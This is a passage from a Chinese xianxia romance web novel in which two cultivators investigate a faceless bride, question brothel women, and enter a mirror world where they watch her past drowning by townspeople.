江敛点点头,低声念出一道术语,漂浮在空中无形的花粉便凝聚在一起,形成一缕灵气指引她们。
两人跟着这指引一路来到一条烟花小巷,灵力最后消失在一扇门后。
周慈看了一眼身旁的人,少年默了默,独自一人走到不远处的一棵树下站着。
临走时还不忘可怜的看了一眼女孩,她不为所动,直到看见他走远才敲了敲房门。
过了好一会儿门才开了一条缝,从里边露出一双怯生生的眼睛。
她下意识的放轻声音,脸上带着笑意,“这次我带了一串糖葫芦,想尝尝吗?”
变戏法似的拿出一串糖葫芦出来,里边的人看了她一眼,又看了一眼糖葫芦小心翼翼的将门推开一半。
江敛站在远处听不清她们的对话,但能看见她脸上的笑意。
还真是奇怪啊,她也会在外人面前笑吗?
那为何在自己面前不是这样?
少年双手紧握,随即又松开。
算了,她爱对谁笑都无所谓,只要自己完成任务就好。
周慈打量周围环境,很简陋的小屋,只有一张桌子和一张床。
但很干净,看得出这间屋子的主人平日里很珍惜这个地方。
“喝……喝水。”
她的神思被拉回来,笑道:“多谢。”
女孩垂下脑袋,声音很低却让她足够听清,“你……你来找我是有什么事吗?”
“看见你一个人坐在那,想找你聊聊。”
“聊……聊什么。”
她有些防备的往后退了一步。
“别紧张,来吃糖葫芦吗?”
周慈眉眼弯弯,将糖葫芦递到她面前,见她不接也没有说话,只是又拿出另外一根放进自己嘴里。
“我唤周慈,你叫什么名字?”
屋内一直没有传来说话声,只有糖衣被咬碎的声音。
她晃了晃手中的糖葫芦,轻笑道:“再不吃糖衣就要化了。”
“放心,没毒。”,话音间她将最后一颗吃下。
“多谢。”
还以为不会等到回应呢。
周慈轻笑,“无事,坐下来聊聊吗?”
女孩点点头坐到她对面等她开口。
“还没告诉我你叫什么名字。”
她小声道:“白灵。”
少女倒了一杯茶水推到她面前,“白姑娘,别紧张,只是想问问你知道近日这镇子上的传言吗?”
“不……不是传言,是我的姐姐……”
屋外江敛等了许久,不过他也没有闲着,周身的灵力隐隐波动,似有突破现象。
直到门打开,两人的身影从里边走出,他没有贸然上前,而是待在原地等待。
“白姑娘今日多谢了,放心,我们会将你姐姐带回来的。”
她弯下腰轻揉女孩的脑袋,随后转身告别。
只是在临走时依旧不忘嘱咐:“对了,下次不要再捏杯子了,若是碎了划到手就不好了
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。”
白灵微微张唇,看着她离开的背影,与那在树下等待了许久的公子并肩而行。
是周姑娘的心上人么?
两人走出一段距离后,她朝身边人轻声道:“敬之,辛苦了。”
江敛步子一顿,一时间不知该说些什么,最后只是笑笑道:“我有什么辛苦的,辛苦的该是夫人。”
“你在那等了我许久。”
“夫人也在探听消息,反倒是我什么忙都没帮上。”
周慈拍了拍他的肩,“人是你找到别说这些话,走吧,回去我细细讲与你听。”
少年掩盖住眼底的情绪,一时间让人看不出他到底在想些什么。
回到客栈后她连气都没喘匀就示意江敛坐下。
“夫人是打听到什么了?”,他倒了一杯茶递到她面前。
周慈轻抿一口,这茶似乎和之前的尝起来有些不对。
“这茶不是原来的吗?”
“嗯,这是我采集清晨的竹露所泡,不好喝吗夫人。”
说着他就要将杯子拿走重新去找小二要一壶茶水。
少女抬手按住他的手摇摇头,“没有,只是好奇问问。”
“这次我从白姑娘那得知,王家的新娘是她的姐姐,本是在花月楼里靠跳舞为生,无意间被王家公子所看中,二人情投意合很快就决定成亲。”
少年有些奇怪,“可王家又怎会同意一个舞女与王少爷成亲?”
“白姑娘倒是没说,或许王家并不在意身份。”
“不过当天夜里进入新房时不过多久,来参宴的来宾就都听见了一声惨叫,等赶到时就看见那王家公子躺在地上失去气息了。”
“至于新娘,应是被关在了王府后院。”
“据白姑娘所说,后边她又在夜里悄悄溜进了后院一次,看见她的姐姐穿着嫁衣在新房里跳舞。”
她一口气说完,随即转头一看就对上那双眼。
周慈一愣,难道是自己刚刚话太多了?
遭了,又没憋住。
少女的眼里带着些懊悔,紧闭上嘴不愿再说一个字。
江敛弯眸,温润的声音清扫了这一刻诡异的气氛,“所以夫人是想在今夜去王家后院瞧瞧。”
“嗯。”
见她不远多说,少年也没有在继续问下去。
只待今夜去一探究竟。
周慈已经有些记不清这是多少次在自己房间门口见到江道友了。
从一开始的惊讶到现在的习以为常,不过她觉得自己还是有必要再嘱咐一下:“夜里凉,你不用每次都在我门外等候。”
江敛摇摇头,带着笑意:“无妨,我已经习惯了。”
见他如此少女也不再多说什么,他们按照白日的路线一路赶到王府。
府邸上上下下似乎都因葬礼无人巡防,两人轻轻松松就来到了后院。
原本的新房已是红烛燃尽,却依旧能看出是精心布置,‘囍’字剪纸贴在房间的各个地方。
周慈站在屋外,原本黑漆漆的房间却忽然亮起一只红烛。
透过窗子依稀能看见跳跃的人影翩翩起舞。
江敛神色一凝,合欢花在他掌心悄悄出现。
婉转歌声从里边传出:“滔滔江水,骷髅开花,人死一去何时归……”
8. 可我想保护你
人影若隐若现,在深夜里歌声显得尤为突出。
却没有一人前来。
一朵合欢花悄悄潜入房中,两人看清了房间内的情形。
女人身穿嫁衣,轻哼小曲儿舞姿翩翩,红烛流下眼泪来,落在烛台上。
“二郎,你看我今日可美?”,戏曲声带了些婉转。
转过身来却吓了窗外两人一跳。
那新娘的脸上赫然没有五官,却猛地将脸对向窗子凑上前来。
隔着这层油纸,似乎还能感受到她的呼吸。
少女没忍住往后退了一步。
江敛感受到身边人呼吸一滞,忍不住抓住他的手,即使很快放下。
“敬之别怕,我保护你。”
少年此刻所有的注意力都放在身边人身上,好整以暇的看向她。
到底是谁害怕了?
他忍不住在心里嗤笑,面上却装的一副纯良,“我会保护夫人的。”
周慈已经调整好情绪,刚刚只是太突然了,一时间没反应过来。
那新娘却接着戴上盖头,哼着她不知道的小曲儿。
少年拉着她的手用术法将两人身形隐去,王家人此刻也赶了过来。
两个婢女上前按住了新娘,将她强制带出房间,他们跟了上去,只见那日见过的王家主母将人锁在一处极为偏僻的房间。
门落了锁。
待他们离开,江敛才松开她的手撤去术法,看向紧闭的房门。
“夫人。”
“进去看看?”
“好。”
随着一声轻响锁落下,周慈率先走进去,一簇灵火在掌心燃起。
“敬之,你走我后边。”
少女沉声道,若待会儿发生了什么意外,自己也可以第一时间保护他。
“夫人,我没那么弱。”
声音带了些无奈,周慈随意的点点头,观察四周的环境。
这屋子相比刚刚那间可是凄凉了不少,借着灵火她瞧见了缩在角落里的女人。
少女稳住心跳,即便是再一次面对这没有五官的脸,自己还是会被吓一跳。
她走上前蹲在对方面前问道:“你可能听懂我的话?”
见女人没有反应,周慈沉思片刻准备拉起她的手。
只是身边人拉住他的手腕,看不清他是和神色,“你就这么靠近她?若是她要害你,刚刚你就死了。”
“我无事,别担心。”
她既然敢靠近,自然是知道对方不会对自己产生威胁。
江敛冷笑一声,松开她的手腕:她要是哪天死了,也是咎由自取。
少女抓住她的手,在她手心里一字一句写着。
只见女人激动的点点头,周慈在她手心里写了一句话,对方就安静下来。
二人悄悄离开王府,回到客栈后她看了一眼身边人。
江道友怎得忽然如此安静?
有古怪。
她放下茶杯看向身边人,就发现那微微泛红的眼眶,面带疑惑,“敬之是要哭了吗?”
江敛偏过头去,抬手擦去眼角的湿润,又回过身来紧盯那和尚摸不着脑袋的人,眼角往下耷拉。
“日后我走在夫人前面,这样就可以保护你了。”
“倒时就算有人要伤你,也得先杀了我。”
周慈不理解他的想法,只知晓江道友哭了,应是伤心。
她见凡间之人伤心是需要安慰的,所以江道友现在也一样吗?
思及此她轻抿唇瓣,抬手拍了拍他的肩膀,满脸认真:“安心,我很强。”
“你在我身可以保护你。”
少年眼睫轻颤如蝴蝶振翅,声音温润却让人无法忽视,“可是我想保护你。”
周慈张了张嘴,这还是第一次有人说要保护她。
可是,她真的很强!
不过江道友都这么说了,就由着他好了。
毕竟他也是被迫和自己结契,总归得对他好点儿自己心里才能舒坦些。
“好,那日后就麻烦敬之了。”
原以为得不到回应的少年先是一愣,随即脸上的笑意逐渐放大,眼里似乎带上了些星子,就连两颗小虎牙都不小心露了出来。
江道友又开心了。
周慈无比确信,心里悄悄松了口气。
既然好了,就该谈谈正事:“我刚刚告诉那女人,是她妹妹让我们去寻得她,等明日寻个时间会救她出去。”
他又拿出带着甜香的糕点出来,“夫人不觉得奇怪吗,明明她没有五官,连你最开始都被吓了一跳,那王府的人却像个没事人一样?”
少女咬了一小口,听到这忍不住嘟囔:“我没有被吓一跳。”
那叫猝不及防。
江敛手上的动作一顿,低笑出声:“好,没有被吓一跳。”
周慈满意了。
就是嘛,她怎么可能被吓一跳,她那么厉害,谁能吓到她?
“确实有古怪,不过明夜我们先悄悄把她救出来再说。”
他没有反驳,只是点点头附和:“都听夫人的。”
“敬之,夜深了。”
看向那双眼,江敛就知晓她又要喂那小畜生了。
为何不对他说这么多话?
看来是还没有让她信任自己啊……
这样瞧起来任务现在还任重道远。
他掩住心底的情绪,顺了她的意思,“好,那我便先回屋休息。”
眼见着把他送走后,周慈立马把小兽拿出来,将原本的顺毛都摸得炸起来。
“好啦好啦,给你小鱼干,不气不气。”
连给了三条小鱼干才把小兽哄好,早春的夜还有些冷。
可她有小白暖被窝诶。
周慈美滋滋的抱着小白闭上眼休息,和隔壁房间的清冷完全不一样。
合欢花落在窗台上,江敛静静地看着她安睡的侧脸,还有她怀里那只畜生。
掌心的那团儿安静的蜷缩在他手中,他有一下没一下的摸着,直到看见隔壁床榻上少女眉心轻蹙。
他才笑出声来,停下手中的动作。
这一小团这会儿看起来倒是让自己顺眼极了。
如此纯粹的灵体,真期待它染上杂质的那一天。
近一月以来,周慈已然习惯江道友每日准备好午膳在门口等待自己。
不过她还是有些不好意思,“你不用每日如此,我起的很晚。”
“我也是刚刚才来。”
看着他的眼,少女轻叹口气:算了,日后自己早些起就是了。
两人用完午膳下楼时,就看见熟悉的面容,周慈走上前轻声道:“放心,我已见过你姐姐。”
“不日就将她带回来,可好?”
白灵望
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向她,虽还是怯生生的一副模样,却比昨日好了许多。
“多……多谢周姑娘。”
“你姐姐很会跳舞,对吗?”
“嗯……姐姐是万花楼最好的舞姬。”,讲到这时她眼里亮晶晶的。
周慈弯弯眉眼,“你先回去等着可好,我会让你们团聚的。”
“好!”,白灵脸上扬起笑意,脸还红红的。
送走她后,周慈朝登载远处的人招了招手,江敛身子一顿还是朝她走过去。
“我们去万花楼。”
他也不问,只是点点头,“好。”
两人问了些路人,顶着那些奇怪鄙夷的目光面不改色的进了小镇上最大的青楼。
只是在路上她遇见了昨日的老伯,“姑娘,要买些饼子吗?”
她停下脚步笑着摇头,“多谢老伯,不用了。”
周慈打量周围的环境,这还是自己第一次进青楼。
不过身边人好像快要被吞没了。
在少年即将失去耐心时,感受到一阵温暖将他从人群里拉了出来。
“抱歉,这是我道侣。”,她勾勾唇,江敛一直看着那牵着自己的手。
温暖源源不断的传到他的手里,少年不着痕迹的拂开她的手,脸上重新带上熟悉的笑意。
周围的几位女子娇笑,阵阵脂粉香气从她们的身上传来,“道侣?何为道侣,我们姐妹们瞧这公子生的真是好,心里欢喜地很。”
来这万花楼的客多了,倒还是头一回见到如此惊艳的少年郎。
她忘了,这是凡间。
再这样下去,江道友怕是要被她们活生生吃了。
周慈上前一步,用自己的身子遮住他的身形,少年也垂下脑袋来不去看她们。
“他是我……夫君。”
按照凡间的说法,应该是这样说的。
应是没错。
话音刚落,刚刚聚集的人便一哄而散,还有些忍不住翻了个白眼:夫人带夫君一起来逛青楼,倒还真是新鲜的很。
在她们离开时,江敛的声音在她们身后响起:“我们奉王府少夫人之命,来拿她放在房间里还未拿走的东西。”
其中一人停下脚步,转过身子面色不屑,“她还能有什么东西,都成了少夫人还有什么东西要拿。”
“少夫人只吩咐我们前来拿,并没有说是什么东西。”
她撇撇嘴,声音让在场所有人都听清,“谁不知道她新婚当天就死了夫君,怕不是王家要把她赶出来,就想着回来拿些东西日后好养活自己吧。”
江敛没有说话,只是沉默地看向他,女人下意识的咽下即将出口的拈酸话,重重的冷哼一声。
“她的房间就在这后边,自己去找吧。”
还以为是什么有钱家的公子哥,没想到成亲了,还是她的奴才。
怕不是个中看不中用的。
她扭着腰慢悠悠离开,周围人看够了热闹也一同离去。
“走了夫人,我们去看看吧。”
少年回过神来看向她,眼里带上笑意。
周慈轻抿唇瓣,她虽不知江道友刚刚为何要说那番话,可她感受到了那股忽如其来的恶意。
可为何会对一个没见过的人忽然产生如此大的恶意。
她不知道,只是盯着少年的侧脸,一字未说。
“夫人,我好看吗?”
9. 他是周姐姐心上人吗
“好看。”
可她更在乎的是难道江道友不在意吗?
周慈看向他的侧脸,有些疑惑:“敬之,你不生气吗?”
“嗯?”,少年停下脚步有些不明白,“我为何要生气?”
“刚刚她的恶意很明显。”
他没有第一时间回答她的问题,而是反问:“若是夫人面对那恶意,会在意吗?”
周慈摇摇头,他轻勾唇:“我和夫人是一样的。”
江敛笑的开心,他当然不会在意,因为对方终有一死啊。
万花楼后边是一排房间,几个女子住在同一间,她推开房门一阵灰尘扑面而来,呛得她忍不住轻咳。
“没事吧夫人?”
“无事。”
周慈率先走进这房间,梳妆台上蒙上一层厚厚的灰,看得出这屋子已经很久没有人住。
她们转了一圈下来,并没有发现什么不对的地方,空荡荡的房间久无人住,显得格外凄凉。
就算有点值钱的东西,也早被人搜刮而空。
只剩下一些实在抬不走的物件儿。
“可这里的女子不是几人住在一间屋子吗?”
周慈满脸沉思,即便如此也不该在一人离开后这屋子就空了下来。
“去找个人问问吧。”
“好。”
两人走出屋子,谁也没有注意到那梳妆台上的铜镜忽然出现一条裂痕。
白日里姑娘们都在各自的房间休息,这一带是她们住的地方,倒也好打听到消息。
屋内传来窸窸窣窣的谈论声,二人不约而同停下脚步,躲在门外偷听。
江敛忍不住传音还带着笑意:“夫人,我们其实可以隐身。”
不用像现在这样跟个贼似的躲在门口处,大气不敢呼。
周慈面色一顿,哦,她忘了自己可以隐去身形了。
顶着那双促狭的眼,少女面不改色施了个术法让两人消失在原地。
只是耳尖在无人注意时微微发烫。
屋内的声音清晰的传进她们的耳朵,是刚刚那满是恶意之人。
此刻她正在往脸颊处上胭脂,一双漂亮的眼里满是怨愤,“也不知道她白芩走了什么运,倒是命好!”
胭脂盒摔在地上转了个圈儿,发出清脆的声音,“就算那王家少爷死了她成了寡妇,也够让她荣华富贵一辈子了!”
其余姑娘见状都不敢出声,纷纷埋头,只因白芩走后,她就是这万花楼的招牌。
“那她也得有命享,新婚之夜死了夫君王府能放过她吗?”,坐在她身边的姑娘声音娇俏,说出的话却是让周慈轻蹙眉心。
“你倒是会说话。”,女人瞥了她一眼,心情好上许多,随手赏了一只金簪。
她立马眉开眼笑,好话不要命似的从嘴里蹦出,哄得对方喜笑颜开。
直到她回了自己的屋子,坐在铜镜前戴上那只金簪反复欣赏,眼里是止不住的笑意和妒忌。
看见铜镜里忽然出现的两人,她吓了一跳,下意识的将簪子放在自己的胸口处,随即转身警惕的看向来人,身子抵在梳妆台前。
是刚刚那公子和他夫人。
“你们来做什么?”
此时屋子里只有她们三人,看着那双防备的眼江敛笑笑,拿出一锭银放在桌上。
“和你打听打听消息,若说的我满意了,这银子就归你。”
她的眼神几乎是一瞬间就落在银子上,忍不住咽了咽口水,声音有些嘶哑:“你们想知道什么?”
“就说说……王家少夫人。”
话音刚落,她一瞬间警惕起来,“你们问她做什么?”
“你只需要回答就好。”
江敛指尖轻点那桌上的银子,静静等待对方开口。
他知道,对方一定会说。
果不其然,没过多久她便开口,脸上满是厌恶和不屑,“白芩她就是个疯子。”
“她总说自己有个妹妹。”
“可我们大家谁都不曾见过,再说了,妈妈买她的时候可是查清楚了的,她根本没有妹妹。”
“结果就这个疯女人还能被王家少爷看上赎了身,还真是命好。”
她的语气里满是妒忌,周慈轻蹙眉心没有说话。
“你没见过不代表她没有。”
“白芩要是真有个妹妹也不会整天躲在那屋子里抱着枕头喊了,搞得大家都不愿意和她住。”
周慈轻抬下颌,顺着话问了下去:“那你知道她没有五官是怎么回事吗?”
话音刚落,对方就用一种奇怪的眼神看向她。
不过看在银子的份上,她还是老实答道:“怎么可能,白芩没被赎身前可是这楼里的招牌,多少人砸重金只为了见她一面。”
周慈和江敛对视一眼,从彼此眼里看出一丝凝重。
既然白芩是招牌,那王府里的她怎么会没有五官?
“行,这银子归你了。”
江敛将银子留下转身和少女离开,离开时身后还传来娇俏声,“公子,下次想要知道些什么还找我,若是想放松放松也可以找我。”
离开万花楼后,两人几乎是同一时间开口:“我……”
“我……”
“你先说。”
“夫人,你说白芩要真没有妹妹,那现在的白灵是谁?”
“不知道,我还需要再探查一番。”
她还需要再查探,才能确定自己心中的猜想。
周遭的百姓近几日一直在谈论此事,说什么的都有,可最多的还是感叹她命不好,刚成亲就成了寡妇。
“敬之,我去买个饼子。”
说完她就转身朝那个卖饼的老伯走去,街道上人来人往,今日阳光甚好。
等回到客栈时,她就看见白灵坐在角落里,也不知等了多久。
周慈脚步一转朝她走去,将刚刚买的饼子递到她面前。
女孩眼睛一亮,抬头望向她,“周姐姐,你回来了!”
听到陌生的称呼,她愣了一瞬便很快反应过来,“嗯,你怎么在这等着。”
“我想问问周姐姐喜欢什么!”,白灵期盼的看着她,语气有些低落:“你答应把姐姐救出来,我却没什么能报答你的。”
周慈坐在她对面,轻声细语,“那等我们把你姐姐救出来,你再报答,好不好?”
“我们?”
“嗯,因为还有人会和我一起。”
白灵愣了愣,语气轻快:“是那日在树下等的哥哥吗?”
“嗯。”
女孩凑近她眉眼含笑,还带上一丝八卦悄声问道:“他是周姐姐的心上人吗?”
周慈一愣,摇摇头。
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“他是我道侣,也就是夫君。”
闻言她疑惑极了,“可他不是你的心上人,又怎会成为你的夫君?”
周慈在心里想到:因为她们是被迫在一起的。
“可我瞧着那哥哥应是喜欢周姐姐的,他在那等你。”
白灵指了指在不远处等待的人,见两人看过来,少年扬起一抹笑。
他可不是喜欢自己,而是为了成功毕业。
不过周慈没有说出来,只是转了一个话题,“你姐姐在万花楼如何?”
女孩垂下脑袋,就连声音也低了下来,“听姐姐说那些姑娘对她不好,没有人愿意和她说话。”
“还说……还说她是疯子。”,讲到这白灵的声音都有些哽咽,眼眶也湿润了。
周慈拍了拍她的脑袋,言语温和却让她无法忽视,“那你认为她是疯子吗?”
白灵沉默一瞬,摇摇头。
“既如此,又何须在意其他人的话,对她来说最重要的人莫过于你。”
女孩似懂非懂的点点脑袋,“可那些人都这么说,我……”
“妒忌让她们变得无礼,但这不是你们的错。”
面前的人眉眼弯弯,在她的目光下,女孩渐渐变得平静下来,眉心那颗红痣栩栩如生,白灵一时间忘了眨眼。
“在这等很久了吧,我去让小二上些菜。”
周慈注意到那凉了的茶水,女孩伸手拉住她的衣裳摇摇头,“周姐姐不要再破费了。”
“这有何破费,又不会把我吃穷了。”,她打趣道,平日冷静的眼此刻布满笑意。
就像高高在上的菩萨终于染上一丝人间的情。
江敛站在不远处将一切尽收眼底,面无表情。
就在这时,周慈的心底忽然浮起一丝情绪,让她有些不舒服。
是江道友出什么事了吗?
她眉心轻蹙,心里略带担忧。
直到白灵的声音将她的思绪拉回,“那把等在那的哥哥一起喊过来吧。”
听到她的话,周慈下意识的回过身子看向他,就看见江道友依旧在原处等候。
见她看自己,江敛勾唇笑着,如三月暖风。
不过她还是转头问坐在对面的女孩,“你愿意和他一起用膳吗?”
她还记得那日女孩见到江道友怯生生的模样。
“若不愿也无需勉强。”
白灵笑着点点头,周慈看了她好一会儿确认不是勉强后才起身走到少年面前。
“敬之,抱歉,让你等了许久。”,她有些不好意思,眼神飘忽。
江敛微微勾唇,“你永远都不用对我说抱歉,夫人。”
“那你愿意和我们一起用膳吗?”
“既是夫人邀请,荣幸至极。”
看见两人并肩而来,白灵依旧有些紧张,不断的扣自己的指甲。
或许是看出她的紧张,周慈坐在她身边朝她笑了笑,原本乱跳的心脏逐渐恢复平稳。
江敛毫不掩饰自己的目光,或许周道友自己都没有发现,近日她越来越像一个凡人。
食三餐,会小憩。
一顿午膳三人谁也没有说话,周遭的谈论声倒是此起彼伏。
周慈眼神一扫,发现似乎还是自己刚来客栈时的那几人。
他们这么喜欢来这里喝茶吗?
10. 铜镜的裂隙
“周姐姐,那我走啦。”
白灵站在客栈外,春光明媚,她抿唇轻笑,脸红红的。
周慈点点头,嘱咐道:“回家小心,等你明日一醒就可以见到你姐姐了。”
“嗯!”
女孩重重的点点头,眼睛亮晶晶的,目光却不经意间落向她身后的少年。
江敛有所察觉,只是抬眼看去时对方又迅速移开目光。
他眉眼一沉,紧盯对方离去的背影。
周慈转过身来朝他说道:“敬之,我们再回去一趟万花楼吧。”
“敬之?”,见他看向街道久久不说话,她有些奇怪。
“嗯?夫人可以再说一次吗?”
江敛回过神来面带歉意,声音有些轻。
“我总觉得那间房间好像有些奇怪,想再回去看看。”
白芩住的那间屋子,似乎有哪里不对。
“好,我陪你。”
少年点点头二话不说,周慈一愣微勾唇点点头。
两人再次返回万花楼,走进那积满尘灰的房间,少女审视着这间屋子。
“敬之,你说这盒胭脂是什么时候在这的?”
周慈站在梳妆镜前,拿起这盒胭脂仔细端详。
少年紧皱眉,仔细回忆一番才开口:“好像在我们第一次来的时候,这盒胭脂就已经在这里了。”
“不对。”
周慈轻蹙眉心:不对,有哪里不对。
“这胭脂,很新。”,她打开胭脂用指腹轻揉,上边似乎还有被用过的痕迹。
“第一次因为这胭脂盒看起来太旧,所以我们都没注意。”,胭脂轻放在桌上,发出略微沉闷的声音。
“可这里许久没住人,为何会出现一盒新的胭脂。”
江敛沉下声,“有人在我们离开后进来过。”
“不。”
少女上前掀开那帷幔,一床崭新的锦被就放置在床榻上。
“有人在这里住过。”
她们看着这间屋子,再次仔细看了一圈,直到少女的目光落在那铜镜上。
“之前这铜镜有裂缝吗?”,周慈有些疑惑。
“记不起来了。”
他轻摇头,指尖轻触那条裂缝,在两人惊讶的目光下,那条裂缝将他吸了进去。
周慈下意识抓住他的手腕,一同进入那铜镜之中。
她将剑握在手中,站稳后警惕的打量四周,刚刚自己拉着的人已经不在身旁。
“敬之?敬之?”
可始终没有得到回应,她稳住心神握紧手中的剑开始独步在这镜中世界。
这世界似乎与外边是一样的。
一样的万花楼,一样的街道,一样的小摊。
可当务之急,是得赶紧寻到敬之,这镜中世界也不知会有和危险,得尽快和敬之会面。
……
江敛站稳身子后,双眼打量四周,手心飘起一朵合欢花来。
大佛坐在高处,怜悯的看着他,无悲无欲。
少年抬头望去面无表情,久久不愿离去。
佛啊……
江敛轻笑出声,似有不屑。
他从来不信佛祖,只信自己。
都说佛祖怜悯万物,可为何独独忘了自己?
少年沉下面容,最后转身离开。
他最讨厌的便是佛祖和菩萨,一个个的都虚伪至极。
让人恶心。
江敛头也不回的就离开寺庙,佛祖在他身后悲悯的看着他,眼底似有泪光闪烁。
如今之计只有先寻到周道友在一起想出去的办法。
街道上人来人往,似乎是天水镇,又好像不是。
江敛轻动手指,一缕灵力凝聚成的浅粉色的线从他指尖探出,穿过人群,穿过小巷。
最后为他指明路线。
周慈打量着周围,这里似乎和外边的小镇没有什么不一样。
“姑娘,要买些饼子吗?”
声音从她身后传来,少女一顿转身顺着声音看过去。
好像是那老伯。
不过……
“好,多谢老伯。”
周慈走上前点点头,一双眼却忍不住打量。
头发是还是黑的,看起来年轻许多。
可一个人的声音没有改变,所以在刚刚她就听出来了。
“找到你了,夫人。”
就在她看得入迷时,身后传来熟悉的声音让她转过身。
“敬之?”
在看见来人她有些惊喜,连忙走上前上上下下的打量一番。
还好,江道友看起来并没有受伤。
她有些好奇,“你是怎么找到我的?”
“夫人忘了你沾染了我的花粉。”
少年眉眼弯弯,周慈看向他指尖那缕灵力,灵力那头连接在她身上。
真好,她成功找到敬之了。
“要吃饼吗?”
“不了,夫人吃吧。”
她点点头没有继续劝,而是咬了一口热乎乎的饼子。
还是熟悉的味道啊。
周遭人来人往,有很多华服锦衣之人来到这个地方,他们匆匆忙忙往同一个地方赶去。
“快走快走,听说今日万花楼的白姑娘要出来献舞!”
两人对视,不约而同的转身往万花楼走去。
万花楼此刻已经人满为患,他们都仰起头,期盼的看向半空。
随着大片花瓣从天而降,清扬的古筝声响起,一条红绫从半空中垂下,落在圆形舞台处。
面蒙朱纱的女子顺着红菱缓缓降落,玲珑的曲线一览无余,白生生的腿在红纱里若隐若现。
在场的人都呼吸一滞,香气在他们之间流窜。
眼神逐渐朦胧,一舞毕女子便退了下去。
周遭的宾客乱糟糟的说着,不断表达自己的不满,老鸨摇着身子走上台笑眯眯道:“各位各位,别心急。”
“这次可是能有一位公子,与白姑娘畅谈整夜。”
此话一出,周遭的谈论声更大。
“不过……价高者得,各位可以开始了。”
随着报价声越来越高,老鸨的脸上的笑意越来越明显,脸上的皱纹都明显许多。
“夫人,好看吗?”
身边传来一道幽幽的声音,周慈一愣回过神来,想起刚才的舞点点头。
确实跳的很好。
江敛看着她不再说话,是啊,她见谁都可以笑,都可以温柔以待。
唯独面对他。
果然,这个任务有难度。
他转身趁周围的人没注意悄悄上了楼。
少女有些茫然,敬之好像又不开心了。
这次又是为何?
她连忙追上对方的脚步,一路来到熟悉的屋子外边。
是那间已经荒废了许久的屋子。
周慈看
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见站在门口处的少年走上前,门是打开的,里边帷幔层层。
“既然来了,就进来吧。”
柔和的声音从里边传来,她顿了顿没有动作。
直到脚步声由远而近。
有人来了。
周慈迅速拉着少年的手腕隐去身形,她瞧见赶来的男子身着月白色衣裳,站在门口踌躇许久才进去。
原来刚刚不知在和她们说话吗?
两人紧随其后,和荒废已久的房间截然不同,这房间弥漫了熏香,层层叠叠的粉色帷幔被风吹起形成浪。
“白姑娘,我……我。”
他局促的站在原地,一双眼却时不时地朝她看去。
周慈看过去,依旧是那张没有五官的脸,是白芩。
“夫人,是白芩。”
传音入了她的耳朵,她点点头。
“或许这里是过去。”
在两人谈话期间,白芩已经与那公子互相认识,相互谈论起琴音。
镜中的世界似乎过得很快,周慈见证了白芩与那公子相知相爱的过程。
此刻她正坐在椅子上,靠在男子的肩上安然的闭上眼。
“等我回家与父亲母亲说清楚,就来向你提亲可好?”,他温声说道。
“好,我等你,二郎。”
白芩睁开眼,眼里满是被幸福包裹。
她们互相依靠,温存了许久。
阳光透过窗户洒在她们身上,一切都是那么的静谧安宁。
如果一切都维持现状就好了。
屋子动荡,整个镜中世界再剧烈摇晃,江敛扶住少女的身子。
面前的景象逐渐崩塌瓦解,相互依偎的恋人身影逐渐幻成光影。
从未暗过的的镜中世界在这一刻忽然暗了下来,黑云密布,滚动的闷雷预示着即将来临的大雨。
“敬之?”
周慈望向他,有些疑惑,头顶上方被油纸伞笼罩。
“要下雨了,夫人。”
或许是为了印证他的话,倾盆大雨说来就来,就像天空被撕裂猛地倒下一盆水。
迅猛却没有停下来的意思。
哭声在雨中显得格外小,却足以让两人听清。
天水镇的人似乎都消失了,只有哭声越来越明显,掺杂着绝望,
周慈和江敛顺着声音寻过去,就瞧见女子被众人压着,身上的白色衣裳满是污迹。
她手放在有弧度的肚子上,声音嘶哑,“求你们,求你们放了我。”
“我还有孩子,求你们了。”
架着她的人冷哼:“不守妇道之人就该浸猪笼!”
“就是因为你们这些妓子,才给天水镇招来大祸!”
众人怨声载道,镇子已经很久没下过雨了,庄稼都快干死在地里,谣言四起,不知是谁说正是因为这些妓女才惹得老天不愿降雨。
况且她可是惹了上面的人。
天水镇的万花楼被上边派人清剿,姑娘们跑的跑的散的散。
只有她还留在这里,不仅是因为她怀了孩子。
二郎说过,让自己等他回来。
如今万花楼的都跑光了,只剩下白芩一人,自然是要拉她去沉塘。
果然,老天下雨了!
众人抬头感受久违的甘霖,激动之余更加快了手中的动作。
女子反抗无果,即便此刻她依旧没有五官,周慈似乎还是看见了她眼角的泪。
11. 我愿承担因果,只求救下她
“夫人,你要去做什么?”,见到身边人往雨中跑去,他下意识抓住她的手腕。
“放开。”
周慈回过身来不愿多说一句话,甩开他的手往大雨中跑去,雨帘模糊了少女的身影,他只能看见她的身影越来越远,最后挡在那群人身前。
江敛站在原地冷眼看向她,雨水不断打落在她身子,雨中显得更加单薄。
蠢货。
他忍住心里的冷嘲,撑伞快步朝她走去。
架着女子的众人好似没有看见挡在他们身前的人,径直穿过她的身体,周慈一愣,有些呆愣的看着自己的手。
“夫人。”
油纸伞遮住了打在她身上的雨水,雷声轰鸣,眼见女子被关进笼子即将沉入水底,周慈挥出一道灵力,却也只是让他们停顿一下。
“你们刚刚有没有感受到什么?”,其中一人停下脚步,眼睛微眯,四处打量。
“行了行了,赶紧把她沉下去,这雨太大了。”
“嗯。”
几人关上笼子,手臂青筋暴起,将铁笼扔进河中,渐渐没
入水里,河水灌进,女子不断的摇笼子的门企图逃出,眼泪被河水模糊了界限。
不过片刻,挣扎的动作就越来越小,白芩双手抚着自己的肚子,河里好黑好冷,她什么都看不见。
温度逐渐丧失,她失去了视觉,最后就连听觉也消失。
白芩不甘,灰蒙蒙的眼再也没有闭上。
周慈紧抿唇瓣,随之跳入河中,灵力不断从她身上流失。
她想要救那名女子,想要白芩活下来。
“夫人,我陪你。”
少年在他们周围支起灵罩,河水绕过他们。
周慈上前想要破开笼子的门,铁笼却毫无破损,她眼睁睁看着女子的动作越来越小,直到最后消失。
“可以了夫人,我们救不了她。”
江敛按住她的手腕轻轻摇摇头,她沉默一瞬却手里的灵力却不停。
她何尝不知自己救不了白芩,可让她眼睁睁看着对方死去她也做不到。
灵力源源不断的想要冲破铁笼的桎梏却无济于事,周围的情景变更,河水逐渐褪去,一块块碎片脱落。
世界正在崩塌。
周慈眉眼一沉抓住身边人的手臂,半边身子挡在他面前。
大佛居高临下的看着她们,眼里流露的慈悲让她有些恶寒。
他……又回来了?
江敛看向周围有一股熟悉的感觉,这不是自己刚进入镜中世界的地方吗?
“夫人,我便是从这寻你的。”
闻言周慈心中有种不好的预感,她抬起头对上那双慈悲的眼。
佛像依旧坐在上方,只是眼底似有水光闪烁。
一滴泪滑落,滴在地上溅起水花。
